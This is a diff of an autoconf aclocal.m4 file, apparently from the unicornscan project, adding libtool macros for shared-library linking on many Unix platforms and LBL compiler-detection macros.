$1)=no + ;; + esac + fi + ;; + + dgux*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + freebsd1*) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + hpux9*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + ;; + *) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + newsos6) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + openbsd*) + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + else + case $host_os in + openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(archive_cmds, $1)='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + else + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + fi + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + sco3.2v5*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text' + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;; + esac + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4) + case $host_vendor in + sni) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs' + _LT_AC_TAGVAR(hardcode_direct, $1)=no + ;; + motorola) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4.3*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + fi + ;; + + sysv4.2uw2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7*) + _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z ${wl}text' + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv5*) + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + *) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + fi +]) +AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)]) +test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)" in +x|xyes) + # Assume -lc should be added + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $_LT_AC_TAGVAR(archive_cmds, $1) in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + AC_MSG_CHECKING([whether -lc should be explicitly linked in]) + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if AC_TRY_EVAL(ac_compile) 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$_LT_AC_TAGVAR(allow_undefined_flag, $1) + _LT_AC_TAGVAR(allow_undefined_flag, $1)= + if AC_TRY_EVAL(_LT_AC_TAGVAR(archive_cmds, $1) 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) + then + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + else + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + fi + _LT_AC_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + AC_MSG_RESULT([$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)]) + ;; + esac + fi + ;; +esac +])# AC_LIBTOOL_PROG_LD_SHLIBS + + +# _LT_AC_FILE_LTDLL_C +# ------------------- +# Be careful that the start marker always follows a newline. +AC_DEFUN([_LT_AC_FILE_LTDLL_C], [ +# /* ltdll.c starts here */ +# #define WIN32_LEAN_AND_MEAN +# #include +# #undef WIN32_LEAN_AND_MEAN +# #include +# +# #ifndef __CYGWIN__ +# # ifdef __CYGWIN32__ +# # define __CYGWIN__ __CYGWIN32__ +# # endif +# #endif +# +# #ifdef __cplusplus +# extern "C" { +# #endif +# BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved); +# #ifdef __cplusplus +# } +# #endif +# +# #ifdef __CYGWIN__ +# #include +# DECLARE_CYGWIN_DLL( DllMain ); +# #endif +# HINSTANCE __hDllInstance_base; +# +# BOOL APIENTRY +# DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) +# { +# __hDllInstance_base = hInst; +# return TRUE; +# } +# /* ltdll.c ends here */ +])# _LT_AC_FILE_LTDLL_C + + +# _LT_AC_TAGVAR(VARNAME, [TAGNAME]) +# --------------------------------- +AC_DEFUN([_LT_AC_TAGVAR], [ifelse([$2], [], [$1], [$1_$2])]) + + +# old names +AC_DEFUN([AM_PROG_LIBTOOL], [AC_PROG_LIBTOOL]) +AC_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)]) +AC_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)]) +AC_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)]) +AC_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)]) +AC_DEFUN([AM_PROG_LD], [AC_PROG_LD]) +AC_DEFUN([AM_PROG_NM], [AC_PROG_NM]) + +# This is just to silence aclocal about the macro not being used +ifelse([AC_DISABLE_FAST_INSTALL]) + +AC_DEFUN([LT_AC_PROG_GCJ], +[AC_CHECK_TOOL(GCJ, gcj, no) + test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2" + AC_SUBST(GCJFLAGS) +]) + +AC_DEFUN([LT_AC_PROG_RC], +[AC_CHECK_TOOL(RC, windres, no) +]) + +############################################################ +# NOTE: This macro has been submitted for inclusion into # +# GNU Autoconf as AC_PROG_SED. When it is available in # +# a released version of Autoconf we should remove this # +# macro and use it instead. # +############################################################ +# LT_AC_PROG_SED +# -------------- +# Check for a fully-functional sed program, that truncates +# as few characters as possible. Prefer GNU sed if found. +AC_DEFUN([LT_AC_PROG_SED], +[AC_MSG_CHECKING([for a sed that does not truncate output]) +AC_CACHE_VAL(lt_cv_path_SED, +[# Loop through the user's path and test for sed and gsed. +# Then use that list of sed's as ones to test for truncation. +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for lt_ac_prog in sed gsed; do + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then + lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext" + fi + done + done +done +lt_ac_max=0 +lt_ac_count=0 +# Add /usr/xpg4/bin/sed as it is typically found on Solaris +# along with /bin/sed that truncates output. +for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do + test ! -f $lt_ac_sed && break + cat /dev/null > conftest.in + lt_ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >conftest.in + # Check for GNU sed and select it if it is found. + if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then + lt_cv_path_SED=$lt_ac_sed + break + fi + while true; do + cat conftest.in conftest.in >conftest.tmp + mv conftest.tmp conftest.in + cp conftest.in conftest.nl + echo >>conftest.nl + $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break + cmp -s conftest.out conftest.nl || break + # 10000 chars as input seems more than enough + test $lt_ac_count -gt 10 && break + lt_ac_count=`expr $lt_ac_count + 1` + if test $lt_ac_count -gt $lt_ac_max; then + lt_ac_max=$lt_ac_count + lt_cv_path_SED=$lt_ac_sed + fi + done +done +]) +SED=$lt_cv_path_SED +AC_MSG_RESULT([$SED]) +]) + +dnl @(#) $Header: /data/cvsroot/security/jack/unicornscan/aclocal.m4,v 1.8 2007/12/18 15:27:44 jacka Exp $ (LBL) +dnl +dnl Copyright (c) 1995, 1996, 1997, 1998 +dnl The Regents of the University of California. All rights reserved. +dnl +dnl Redistribution and use in source and binary forms, with or without +dnl modification, are permitted provided that: (1) source code distributions +dnl retain the above copyright notice and this paragraph in its entirety, (2) +dnl distributions including binary code include the above copyright notice and +dnl this paragraph in its entirety in the documentation or other materials +dnl provided with the distribution, and (3) all advertising materials mentioning +dnl features or use of this software display the following acknowledgement: +dnl ``This product includes software developed by the University of California, +dnl Lawrence Berkeley Laboratory and its contributors.'' Neither the name of +dnl the University nor the names of its contributors may be used to endorse +dnl or promote products derived from this software without specific prior +dnl written permission. +dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED +dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF +dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +dnl +dnl LBL autoconf macros +dnl + +dnl +dnl Determine which compiler we're using (cc or gcc) +dnl If using gcc, determine the version number +dnl If using cc, require that it support ansi prototypes +dnl If using gcc, use -O2 (otherwise use -O) +dnl If using cc, explicitly specify /usr/local/include +dnl +dnl usage: +dnl +dnl AC_LBL_C_INIT(copt, incls) +dnl +dnl results: +dnl +dnl $1 (copt set) +dnl $2 (incls set) +dnl CC +dnl LDFLAGS +dnl ac_cv_lbl_gcc_vers +dnl LBL_CFLAGS +dnl +AC_DEFUN(AC_LBL_C_INIT, + [AC_PREREQ(2.12) + AC_BEFORE([$0], [AC_PROG_CC]) + AC_BEFORE([$0], [AC_LBL_FIXINCLUDES]) + AC_BEFORE([$0], [AC_LBL_DEVEL]) + AC_ARG_WITH(gcc, [ --without-gcc don't use gcc]) + $1="-O" + $2="" + if test "${srcdir}" != "." ; then + $2="-I\$(srcdir)" + fi + if test "${CFLAGS+set}" = set; then + LBL_CFLAGS="$CFLAGS" + fi + if test -z "$CC" ; then + case "$host_os" in + + bsdi*) + AC_CHECK_PROG(SHLICC2, shlicc2, yes, no) + if test $SHLICC2 = yes ; then + CC=shlicc2 + export CC + fi + ;; + esac + fi + if test -z "$CC" -a "$with_gcc" = no ; then + CC=cc + export CC + fi + AC_PROG_CC + if test "$GCC" = yes ; then + if test "$SHLICC2" = yes ; then + ac_cv_lbl_gcc_vers=2 + $1="-O2" + else + AC_MSG_CHECKING(gcc version) + AC_CACHE_VAL(ac_cv_lbl_gcc_vers, + ac_cv_lbl_gcc_vers=`$CC -v 2>&1 | \ + sed -e '/^gcc version /!d' \ + -e 's/^gcc version //' \ + -e 's/ .*//' -e 's/^[[[^0-9]]]*//' \ + -e 's/\..*//'`) + AC_MSG_RESULT($ac_cv_lbl_gcc_vers) + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + $1="-O2" + fi + fi + else + AC_MSG_CHECKING(that $CC handles ansi prototypes) + AC_CACHE_VAL(ac_cv_lbl_cc_ansi_prototypes, + AC_TRY_COMPILE( + [#include ], + [int frob(int, char *)], + ac_cv_lbl_cc_ansi_prototypes=yes, + ac_cv_lbl_cc_ansi_prototypes=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_ansi_prototypes) + if test $ac_cv_lbl_cc_ansi_prototypes = no ; then + case "$host_os" in + + hpux*) + AC_MSG_CHECKING(for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)) + savedcflags="$CFLAGS" + CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS" + AC_CACHE_VAL(ac_cv_lbl_cc_hpux_cc_aa, + AC_TRY_COMPILE( + [#include ], + [int frob(int, char *)], + ac_cv_lbl_cc_hpux_cc_aa=yes, + ac_cv_lbl_cc_hpux_cc_aa=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_hpux_cc_aa) + if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then + AC_MSG_ERROR(see the INSTALL doc for more info) + fi + CFLAGS="$savedcflags" + V_CCOPT="-Aa $V_CCOPT" + AC_DEFINE(_HPUX_SOURCE) + ;; + + *) + AC_MSG_ERROR(see the INSTALL doc for more info) + ;; + esac + fi + $2="$$2 -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + + case "$host_os" in + + irix*) + V_CCOPT="$V_CCOPT -xansi -signed -O" + ;; + + osf*) + V_CCOPT="$V_CCOPT -std1 -O" + ;; + + ultrix*) + AC_MSG_CHECKING(that Ultrix $CC hacks const in prototypes) + AC_CACHE_VAL(ac_cv_lbl_cc_const_proto, + AC_TRY_COMPILE( + [#include ], + [struct a { int b; }; + void c(const struct a *)], + ac_cv_lbl_cc_const_proto=yes, + ac_cv_lbl_cc_const_proto=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_const_proto) + if test $ac_cv_lbl_cc_const_proto = no ; then + AC_DEFINE(const,) + fi + ;; + esac + fi +]) + +# +# Try compiling a sample of the type of code that appears in +# gencode.c with "inline", "__inline__", and "__inline". +# +# Autoconf's AC_C_INLINE, at least in autoconf 2.13, isn't good enough, +# as it just tests whether a function returning "int" can be inlined; +# at least some versions of HP's C compiler can inline that, but can't +# inline a function that returns a struct pointer. +# +AC_DEFUN(AC_LBL_C_INLINE, + [AC_MSG_CHECKING(for inline) + AC_CACHE_VAL(ac_cv_lbl_inline, [ + ac_cv_lbl_inline="" + ac_lbl_cc_inline=no + for ac_lbl_inline in inline __inline__ __inline + do + AC_TRY_COMPILE( + [#define inline $ac_lbl_inline + static inline struct iltest *foo(void); + struct iltest { + int iltest1; + int iltest2; + }; + + static inline struct iltest * + foo() + { + static struct iltest xxx; + + return &xxx; + }],,ac_lbl_cc_inline=yes,) + if test "$ac_lbl_cc_inline" = yes ; then + break; + fi + done + if test "$ac_lbl_cc_inline" = yes ; then + ac_cv_lbl_inline=$ac_lbl_inline + fi]) + if test ! -z "$ac_cv_lbl_inline" ; then + AC_MSG_RESULT($ac_cv_lbl_inline) + else + AC_MSG_RESULT(no) + fi + 